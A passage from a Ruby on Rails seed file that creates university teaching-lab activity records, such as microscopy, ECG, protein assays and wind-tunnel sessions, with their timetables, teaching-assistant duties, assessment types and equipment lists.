the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a513.id).first_or_create!(assess_weight: nil, notes: \"Data interpretation and short wriet-up\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a513.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, microscopes, Vi-Cell, Applikon Mini bioreactors, micropipettes, auto pipettes\",\n last_risk_assess: nil, next_risk_assess: Date.new(20, 2, 7), tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a513.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a514 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1520\").first.id, code: \"325\").first_or_create!(name: \"Microscopy\",\n name_abrv: \"MICROSCOPY\", archived: false, in_drive: false, user_id: 3)\n at514 = ActivityTimetable.where(activity_id: a514.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 7, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 180, notes: \"Microscopy session to follow histology staining\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a514.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a514.id).first_or_create!(criteria: \"Operating light microscopes and imaging tissue sections\",\n job_desc:\"Using digital camera and Motic software to take images of stained tissue sections\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: 30, staff_ratio: nil)\n ActivityAssess.where(activity_id: a514.id).first_or_create!(assess_weight: nil, notes: \"Also includes hisology staining\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a514.id).first_or_create!(cost_per_student: nil, equip_needed: \"Microscopes, laptops, histology slides\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a514.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a515 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE103\").first.id, code: \"326\").first_or_create!(name: \"Physiological testing\",\n name_abrv: \"PHYTEST\", archived: false, in_drive: false, user_id: 4)\n at515 = ActivityTimetable.where(activity_id: a515.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 8, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"One of 3 experiments for this module\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a515.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a515.id).first_or_create!(criteria: \"Understanding of physiology and spreadsheets. Knowledge of signal transduction desirable.\",\n job_desc:\"Measuring grip strength, pulse rate and blood pressure\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 10, staff_ratio: nil)\n ActivityAssess.where(activity_id: a515.id).first_or_create!(assess_weight: nil, notes: \"Data presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a515.id).first_or_create!(cost_per_student: nil, equip_needed: \"ADInstruments kits, laptops\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 10, 1), tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a515.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a516 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE291\").first.id, code: \"327\").first_or_create!(name: \"Physiological testing 1: ECG\",\n name_abrv: \"PHYTEST1\", archived: false, in_drive: false, user_id: 3)\n at516 = ActivityTimetable.where(activity_id: a516.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 7, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 20, setup_time: 45, takedown_time: 45, notes: \"ECG to be before investigating physiological signals\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a516.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a516.id).first_or_create!(criteria: \"Understanding of physiology and spreadsheets. Knowledge of signal transduction desirable.\",\n job_desc:\"ECG using ADInstruments PowerLab hardware and LabChart software.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 20, staff_ratio: nil)\n ActivityAssess.where(activity_id: a516.id).first_or_create!(assess_weight: nil, notes: \"Data presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a516.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 10, 1), tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a516.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a517 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE291\").first.id, code: \"328\").first_or_create!(name: \"Physiological testing 2: Investigating physiological signals\",\n name_abrv: \"PHYTEST2\", archived: false, in_drive: false, user_id: 4)\n at517 = ActivityTimetable.where(activity_id: a517.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 8, pref_room_id: $room_vr.id,\n same_as_prev_year: true, series_setup_time: 10, setup_time: 30, takedown_time: 30, notes: \"Investigating physiological signals to follow ECG.\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a517.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a517.id).first_or_create!(criteria: \"Understanding of physiology and spreadsheets. Knowledge of signal transduction desirable.\",\n job_desc:\"Investigating physiological responses using virtual reality - using the ADInstruments PowerLab hardware and LabChart software.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 20, staff_ratio: nil)\n ActivityAssess.where(activity_id: a517.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a517.id).first_or_create!(cost_per_student: nil, equip_needed: \"ADInstruments kits, laptops, Oculus Rift headsets, VAR computers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a517.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a518 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"329\").first_or_create!(name: \"Pipetting and spectrophotometry\",\n name_abrv: \"PIP&SPEC\", archived: false, in_drive: false, user_id: 2)\n at518 = ActivityTimetable.where(activity_id: a518.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at518.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a518.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a518.id).first_or_create!(criteria: \"Competent user of micropipettes and motorised pipettors. Basic spectrophotometry. Understanding of Enzymes desirable.\",\n job_desc:\"Using micropipettes and motorized pipette aids. Investigating the effect of pH on enzyme activity of aryl sulphatase by measuring the absorbance of nitrocatechol.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a518.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a518.id).first_or_create!(cost_per_student: nil, equip_needed: \"Spectrophotometers, balances, motorised and micropipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a518.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a519 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"330\").first_or_create!(name: \"Polymers and hydrogels\",\n name_abrv: \"POLY&HYDROGELS\", archived: false, in_drive: false, user_id: 2)\n at519 = ActivityTimetable.where(activity_id: a519.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 180, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 25, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at519.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a519.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a519.id).first_or_create!(criteria: \"Understaning the propeties of polymers. Knowldge of their application in tissue engineering is desirable.\",\n job_desc:\"Investigating the properties of polymers, including hydrogels, and immobilizing yeast in alginate beads.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a519.id).first_or_create!(assess_weight: nil, notes: \"Post is short essay\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a519.id).first_or_create!(cost_per_student: nil, equip_needed: \"Balances, gas syringes, clamps and stands, water baths\",\n last_risk_assess: nil, next_risk_assess: Date.new(20, 2, 27), tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a519.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a520 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"331\").first_or_create!(name: \"Practical exam\",\n name_abrv: \"PRACEXAM\", archived: false, in_drive: false, user_id: 3)\n at520 = ActivityTimetable.where(activity_id: a520.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 180, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 15, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at520.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a520.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a520.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a520.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a520.id).first_or_create!(cost_per_student: nil, equip_needed: \"Plate reader, static incubator, pipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a520.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a521 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1410\").first.id, code: \"332\").first_or_create!(name: \"Protein detection\",\n name_abrv: \"PROTEIN\", archived: false, in_drive: false, user_id: 2)\n at521 = ActivityTimetable.where(activity_id: a521.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 75, setup_time: 150, takedown_time: 60, notes: \"protein dection must be after pipetting.\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at521.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a521.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a521.id).first_or_create!(criteria: \"Competent user of micropipettes. Understanding of basic spectrophotometry, serial dilution and replicates.\",\n job_desc:\"Using the BCA assay to quantify protein in 5 biological samples.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 10, staff_ratio: nil)\n ActivityAssess.where(activity_id: a521.id).first_or_create!(assess_weight: nil, notes: \"Data interpretation, graph and calculations.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a521.id).first_or_create!(cost_per_student: nil, equip_needed: \"Micropipettes, plate reader/s, computer\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 7, 19), tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a521.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a522 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"333\").first_or_create!(name: \"SEM and FTIR\",\n name_abrv: \"SEM/FTIR\", archived: false, in_drive: false, user_id: 1)\n at522 = ActivityTimetable.where(activity_id: a522.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 6, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a522.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a522.id).first_or_create!(criteria: \"Knowledge of characterising biomaterials and experience using SEM and FTIR desirable, but training can be provided.\",\n job_desc:\"Analysing the surface of biomaterials using SEM and characterising the chemical composition of the materials using FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a522.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes live cell imaging.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a522.id).first_or_create!(cost_per_student: nil, equip_needed: \"SEM, FTIR, sample materials\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a522.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a523 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6311\").first.id, code: \"333\").first_or_create!(name: \"SEM and FTIR\",\n name_abrv: \"SEM/FTIR\", archived: true, in_drive: false, user_id: 4)\n at523 = ActivityTimetable.where(activity_id: a523.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a523.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a523.id).first_or_create!(criteria: \"Knowledge of characterising biomaterials and experience using SEM and FTIR desirable, but training can be provided.\",\n job_desc:\"Analysing the surface of biomaterials using SEM and characterising the chemical composition of the materials using FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a523.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes live cell imaging.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a523.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a523.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a524 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"334\").first_or_create!(name: \"Superhydrophobic surfaces\",\n name_abrv: \"SUPERSURF\", archived: false, in_drive: false, user_id: 2)\n at524 = ActivityTimetable.where(activity_id: a524.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 25, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at524.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a524.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a524.id).first_or_create!(criteria: \"Knowledge of the hydrophilic and hydrophobic nature of materials and how this property is applied in tissue engineering/medical implants & devices.\",\n job_desc:\"Making a superhydrophobic surface and investigating hydrophilicity and hydrophobicity of materials (water contact angle)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a524.id).first_or_create!(assess_weight: nil, notes: \"Post is short essay\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a524.id).first_or_create!(cost_per_student: nil, equip_needed: \"LEV, micropipetees, contact angle measurers, digital cameras\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 10, 2), tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a524.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a525 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE103\").first.id, code: \"335\").first_or_create!(name: \"Tensile testing of nylon\",\n name_abrv: \"NYLONTEST\", archived: false, in_drive: false, user_id: 4)\n at525 = ActivityTimetable.where(activity_id: a525.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 120, notes: \"This is one of 3 experiments for this module.\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a525.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a525.id).first_or_create!(criteria: \"Experience of tensile testing and use of Shimadzu testing frames is desirable.\",\n job_desc:\"Tensile testing of nylon and polypropylene using Shimadzu testing frames and FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a525.id).first_or_create!(assess_weight: nil, notes: \"Assessed during lab session\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a525.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a525.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a526 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE201\").first.id, code: \"336\").first_or_create!(name: \"Building a Bioreactor\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at526 = ActivityTimetable.where(activity_id: a526.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 11, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Mobile units of parts so can work in any lab with 80 capactity and flat space\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a526.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a526.id).first_or_create!(criteria: \"Electronics and coding, culture of algae, using bioreactors, carrying out biochemical assays.\",\n job_desc:\"In teams of 5, students will build a bioreactor for culturing the green micro-algae, Dunaliella salina, using a range of electronic components to control heating, stirring and pH. Dunaliella salina will be cultured in a range of salt solutions and the production of glycerol measured. This will take place over 6x 2 hour lab sessions.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a526.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a526.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a526.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a529 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE6413\").first.id, code: \"33\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"\", archived: true, in_drive: false, user_id: 2)\n at529 = ActivityTimetable.where(activity_id: a529.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_vr.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a529.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a529.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a529.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a529.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a529.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a530 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE6410\").first.id, code: \"340\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"\", archived: true, in_drive: false, user_id: 5)\n at530 = ActivityTimetable.where(activity_id: a530.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_vr.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a530.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a530.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a530.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a530.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a530.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a531 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode10\").first_or_create!(name: \"Simple Harmonic Motion\",\n name_abrv: \"SHM\", archived: false, in_drive: false, user_id: 5)\n at531 = ActivityTimetable.where(activity_id: a531.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at531.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a531.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a531.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a531.id).first_or_create!(assess_weight: 3.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a531.id).first_or_create!(cost_per_student: nil, equip_needed: \"U-tube boards, water, funnels, 1m rule, stop watch, vernier calipers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a531.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a532 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode11\").first_or_create!(name: \"Velocity & Drag\",\n name_abrv: \"VEL_DRAG\", archived: false, in_drive: false, user_id: 1)\n at532 = ActivityTimetable.where(activity_id: a532.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: 6, max_week_num: 7, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"Cannot be timetabled with another lab as the students need ear protectors\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a532.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a532.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a532.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a532.id).first_or_create!(cost_per_student: nil, equip_needed: \"Armfield wind tunnels\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a532.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a533 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode12\").first_or_create!(name: \"Waves\",\n name_abrv: \"WAVES\", archived: false, in_drive: false, user_id: 5)\n at533 = ActivityTimetable.where(activity_id: a533.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at533.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a533.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a533.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: nil)\n ActivityAssess.where(activity_id: a533.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: 